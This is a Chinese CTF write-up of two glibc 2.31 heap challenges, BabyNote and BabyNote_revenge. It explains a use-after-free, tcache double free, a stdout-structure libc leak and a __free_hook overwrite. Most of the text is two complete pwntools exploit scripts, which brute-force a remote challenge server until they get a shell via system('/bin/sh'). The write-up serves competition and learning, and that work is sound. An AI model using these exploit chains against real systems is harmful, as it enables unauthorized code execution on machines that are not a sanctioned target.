两个题目都是无输出堆题,最近一次比赛在 nepctf 遇到:https://www.mrskye.cn/archives/bdb75c49/#sooooeasy

思路方法概述:https://www.jianshu.com/p/fe28639e406e

BabyNote

题目是基于 glibc 2.31 的菜单堆题。

漏洞出现在 free 之后没有置零指针导致的 UAF :

image-20210524162332431

程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。

思路

  1. 利用 tcache double 和 scanf 输出长字符串触发 malloc_consolidate 获取 main_arena 地址

  2. 爆破倒数第四个数字,将堆分配到 stdout 结构体上,修改 flag 和 write_base 地址泄露出 libc 地址

  3. 利用 tcache dup get shell

遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :

1
p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)

flag 这么设置绕过检查没有问题,问题是将 write_base 最低值字节修改为 0x88 了,而 libc 2.31 中 write_ptr 最低位是 0x23

image-20210524170155561

导致起始地址比结束地址大,而没有东西输出。还有就是调试断点位置设置问题 ,导致一直以为是修改不成功的原因。断点一开始是打在修改后下一次进入主菜单的时候,由于每次输出都会刷新 stdout 结构体部分指针,导致一直以为没修改成功。正确应该在 read 打断点,然后 n 跳一步查看是否成功修改结构体。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
p.sendlineafter(">>> ",str(1))
p.sendafter("Input Content:\n",content)
def gift():
p.sendlineafter(">>> ",str(666))
def delete(id):
p.sendlineafter(">>> ",str(3))
p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
p.sendlineafter(">>> ",str(2))
p.sendlineafter("Input ID:\n",str(id))
p.sendafter("Input Content:\n",content)

def exp():
add('a'*58)#0
add('a'*58)#1
add('a'*58)#2
for _ in range(8):
delete(0)
edit(0,'b'*0x58)
edit(0,'\x00'*0x10)
p.sendlineafter(">>> ",'1'*0x450)
edit(0,'\xa0\x66')

stdout_offset = libc.symbols['_IO_2_1_stdout_']
log.info("stdout_offset:"+hex(stdout_offset))

add('c'*0x8)#3
# gdb.attach(p,"b *$rebase(0x1392)")
# raw_input()
add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
log.info("libc_addr:"+hex(libc_addr))

free_hook = libc_addr+libc.sym['__free_hook']
system_addr = libc_addr+libc.sym['system']
binsh_str = libc_addr+libc.search('/bin/sh').next()

delete(1)
edit(1,p64(free_hook)*2)
add('/bin/sh\x00')
add(p64(system_addr))
delete(1)

p.interactive()


# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# p = process("./BabyNote")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("8.134.14.168", 10000)
libc = ELF("./libc-2.31.so")
while True:
try:
exp()
exit(0)
except:
p.close()
p = remote("8.134.14.168", 10000)
# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})

WX20210523-133922

BabyNote_revenge

程序啥的都和上一题一样,就是 gift 函数变了,里面换成个沙箱的指令,没仔细看。因为漏洞和上一题一样,用上一题的脚本改下偏移就直接跑出来了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
p.sendlineafter(">>> ",str(1))
p.sendafter("Input Content:\n",content)
def gift():
p.sendlineafter(">>> ",str(666))
def delete(id):
p.sendlineafter(">>> ",str(3))
p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
p.sendlineafter(">>> ",str(2))
p.sendlineafter("Input ID:\n",str(id))
p.sendafter("Input Content:\n",content)

def exp():
add('a'*58)#0
add('a'*58)#1
add('a'*58)#2
for _ in range(8):
delete(0)
edit(0,'b'*0x58)
edit(0,'\x00'*0x10)
p.sendlineafter(">>> ",'1'*0x450)
# edit(0,'\xa0\xa6')
edit(0,'\xa0\x66')


# stdout_offset = libc.symbols['_IO_2_1_stdout_']
# log.info("stdout_offset:"+hex(stdout_offset))

add('c'*0x8)#3
add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7f61c5525980-0x7f61c533a000)#(0x7ffff7f59980-0x7ffff7d6e000)
#libc_addr:0x7f1eb42b5980
log.info("libc_addr:"+hex(libc_addr))
# gdb.attach(p,"b *$rebase(0x13E2)")
# raw_input()
free_hook = libc_addr+libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
system_addr = libc_addr+libc.sym['system']
binsh_str = libc_addr+libc.search('/bin/sh').next()

delete(1)
edit(1,p64(free_hook)*2)
add('/bin/sh\x00')
add(p64(system_addr))



delete(1)

p.interactive()


# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# p = process("./BabyNote_revenge")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("8.134.14.168", 10001)
libc = ELF("./libc-2.31.so")
while True:
try:
exp()
exit(0)
except:
p.close()
p = remote("8.134.14.168", 10001)
# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# p = process("./BabyNote_revenge")

WX20210523-133936